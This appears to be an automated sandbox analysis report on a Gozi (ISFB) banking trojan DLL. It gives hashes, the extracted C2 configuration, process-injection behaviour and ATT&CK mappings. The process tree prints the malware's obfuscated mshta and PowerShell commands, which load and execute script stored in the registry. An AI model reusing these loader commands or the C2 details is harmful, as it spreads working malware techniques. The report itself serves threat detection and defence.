gozi | 858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

General

Target

72e2a5c797954e895a41be5b20f867b2.dll
Size

206KB
MD5

72e2a5c797954e895a41be5b20f867b2
SHA1

419aacfb3ccea9b08277bcc9405054fa4238a597
SHA256

858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0
SHA512

77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3
SSDEEP

6144:sMmIE7vr+qWNGzfXDanCU60rPP+vJsWKq12Jy:o/7DrQGzfXDeCU6cevKWXwy

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes

base_path
/pictures/
build
250260
exe_type
worker
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

62 1524 rundll32.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation mshta.exe

flow	pid	process
62	1524	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

rundll32.execontrol.exeExplorer.EXE

description	pid	process	target process
PID 1524 set thread context of 3408	1524	rundll32.exe	control.exe
PID 3408 set thread context of 3096	3408	control.exe	Explorer.EXE
PID 3096 set thread context of 3676	3096	Explorer.EXE	RuntimeBroker.exe
PID 3408 set thread context of 4880	3408	control.exe	rundll32.exe
PID 3096 set thread context of 3968	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 set thread context of 4832	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 set thread context of 4596	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 set thread context of 3720	3096	Explorer.EXE	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

rundll32.exeExplorer.EXE

pid	process
1524	rundll32.exe
1524	rundll32.exe
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE
3096	Explorer.EXE

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

rundll32.execontrol.exeExplorer.EXE

pid process

1524 rundll32.exe
3408 control.exe
3096 Explorer.EXE
3408 control.exe
3096 Explorer.EXE
3096 Explorer.EXE
3096 Explorer.EXE
3096 Explorer.EXE

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

Explorer.EXEpowershell.exe

description	pid	process
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeShutdownPrivilege	3096	Explorer.EXE
Token: SeCreatePagefilePrivilege	3096	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Explorer.EXE

pid process

3096 Explorer.EXE

pid	process
3096	Explorer.EXE

Suspicious use of WriteProcessMemory 41 IoCs

Processes:

rundll32.exerundll32.execontrol.exeExplorer.EXEmshta.exe

description	pid	process	target process
PID 4488 wrote to memory of 1524	4488	rundll32.exe	rundll32.exe
PID 4488 wrote to memory of 1524	4488	rundll32.exe	rundll32.exe
PID 4488 wrote to memory of 1524	4488	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 3408	1524	rundll32.exe	control.exe
PID 1524 wrote to memory of 3408	1524	rundll32.exe	control.exe
PID 1524 wrote to memory of 3408	1524	rundll32.exe	control.exe
PID 1524 wrote to memory of 3408	1524	rundll32.exe	control.exe
PID 1524 wrote to memory of 3408	1524	rundll32.exe	control.exe
PID 3408 wrote to memory of 3096	3408	control.exe	Explorer.EXE
PID 3408 wrote to memory of 3096	3408	control.exe	Explorer.EXE
PID 3408 wrote to memory of 3096	3408	control.exe	Explorer.EXE
PID 3408 wrote to memory of 3096	3408	control.exe	Explorer.EXE
PID 3096 wrote to memory of 3676	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 3676	3096	Explorer.EXE	RuntimeBroker.exe
PID 3408 wrote to memory of 4880	3408	control.exe	rundll32.exe
PID 3408 wrote to memory of 4880	3408	control.exe	rundll32.exe
PID 3408 wrote to memory of 4880	3408	control.exe	rundll32.exe
PID 3096 wrote to memory of 3676	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 3676	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 3968	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 3968	3096	Explorer.EXE	RuntimeBroker.exe
PID 3408 wrote to memory of 4880	3408	control.exe	rundll32.exe
PID 3408 wrote to memory of 4880	3408	control.exe	rundll32.exe
PID 3096 wrote to memory of 3968	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 3968	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4832	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4832	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4832	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4832	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4596	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4596	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4596	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 4596	3096	Explorer.EXE	RuntimeBroker.exe
PID 3096 wrote to memory of 3720	3096	Explorer.EXE	cmd.exe
PID 3096 wrote to memory of 3720	3096	Explorer.EXE	cmd.exe
PID 3096 wrote to memory of 3720	3096	Explorer.EXE	cmd.exe
PID 3096 wrote to memory of 3720	3096	Explorer.EXE	cmd.exe
PID 3096 wrote to memory of 3720	3096	Explorer.EXE	cmd.exe
PID 3096 wrote to memory of 3720	3096	Explorer.EXE	cmd.exe
PID 4136 wrote to memory of 1368	4136	mshta.exe	powershell.exe
PID 4136 wrote to memory of 1368	4136	mshta.exe	powershell.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3096
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\72e2a5c797954e895a41be5b20f867b2.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\72e2a5c797954e895a41be5b20f867b2.dll,#1
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1524
  - - C:\Windows\system32\control.exe
      C:\Windows\system32\control.exe -h
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3408
    - - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
        5⤵
        
        PID:4880
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>G6ju='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(G6ju).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\DD164BDA-982A-17AD-8A61-4C3B5E25409F\\\FolderOptions'));if(!window.flag)close()</script>"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name srtjiayn -value gp; new-alias -name kcmqlqigp -value iex; kcmqlqigp ([System.Text.Encoding]::ASCII.GetString((srtjiayn "HKCU:Software\AppDataLow\Software\Microsoft\DD164BDA-982A-17AD-8A61-4C3B5E25409F").MelodyTool))
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1368
- C:\Windows\syswow64\cmd.exe
  "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
  2⤵
  PID:3720

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4832

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3968

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3676

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nm1t0u53.a0e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1368-75-0x0000024C52AD0000-0x0000024C52AF2000-memory.dmp

Filesize
136KB

Download
memory/1524-57-0x0000000000A80000-0x0000000000A8E000-memory.dmp

Filesize
56KB

Download
memory/1524-1-0x0000000000A80000-0x0000000000A8E000-memory.dmp

Filesize
56KB

Download
memory/1524-2-0x0000000002660000-0x000000000266D000-memory.dmp

Filesize
52KB

Download
memory/1524-5-0x0000000000E50000-0x0000000000E79000-memory.dmp

Filesize
164KB

Download
memory/1524-6-0x0000000000A80000-0x0000000000A8E000-memory.dmp

Filesize
56KB

Download
memory/1524-0-0x0000000000E50000-0x0000000000E79000-memory.dmp

Filesize
164KB

Download
memory/3096-15-0x0000000008D50000-0x0000000008DF4000-memory.dmp

Filesize
656KB

Download
memory/3096-16-0x0000000000960000-0x0000000000961000-memory.dmp

Filesize
4KB

Download
memory/3096-58-0x0000000008D50000-0x0000000008DF4000-memory.dmp

Filesize
656KB

Download
memory/3408-9-0x00000000003D0000-0x0000000000474000-memory.dmp

Filesize
656KB

Download
memory/3408-10-0x0000000000480000-0x0000000000481000-memory.dmp

Filesize
4KB

Download
memory/3408-38-0x00000000003D0000-0x0000000000474000-memory.dmp

Filesize
656KB

Download
memory/3676-23-0x0000027EF9D80000-0x0000027EF9E24000-memory.dmp

Filesize
656KB

Download
memory/3676-62-0x0000027EF9D80000-0x0000027EF9E24000-memory.dmp

Filesize
656KB

Download
memory/3676-24-0x0000027EF9A50000-0x0000027EF9A51000-memory.dmp

Filesize
4KB

Download
memory/3720-59-0x0000000001340000-0x00000000013D8000-memory.dmp

Filesize
608KB

Download
memory/3720-60-0x0000000000FE0000-0x0000000000FE1000-memory.dmp

Filesize
4KB

Download
memory/3720-64-0x0000000001340000-0x00000000013D8000-memory.dmp

Filesize
608KB

Download
memory/3968-31-0x000002A433DC0000-0x000002A433DC1000-memory.dmp

Filesize
4KB

Download
memory/3968-65-0x000002A433E00000-0x000002A433EA4000-memory.dmp

Filesize
656KB

Download
memory/3968-29-0x000002A433E00000-0x000002A433EA4000-memory.dmp

Filesize
656KB

Download
memory/4596-52-0x000002E0FE070000-0x000002E0FE071000-memory.dmp

Filesize
4KB

Download
memory/4596-49-0x000002E0FDFC0000-0x000002E0FE064000-memory.dmp

Filesize
656KB

Download
memory/4832-42-0x0000023608840000-0x00000236088E4000-memory.dmp

Filesize
656KB

Download
memory/4832-45-0x0000023607FE0000-0x0000023607FE1000-memory.dmp

Filesize
4KB

Download
memory/4880-54-0x0000027AA7700000-0x0000027AA77A4000-memory.dmp

Filesize
656KB

Download
memory/4880-35-0x0000027AA77B0000-0x0000027AA77B1000-memory.dmp

Filesize
4KB

Download
memory/4880-30-0x0000027AA7700000-0x0000027AA77A4000-memory.dmp

Filesize
656KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads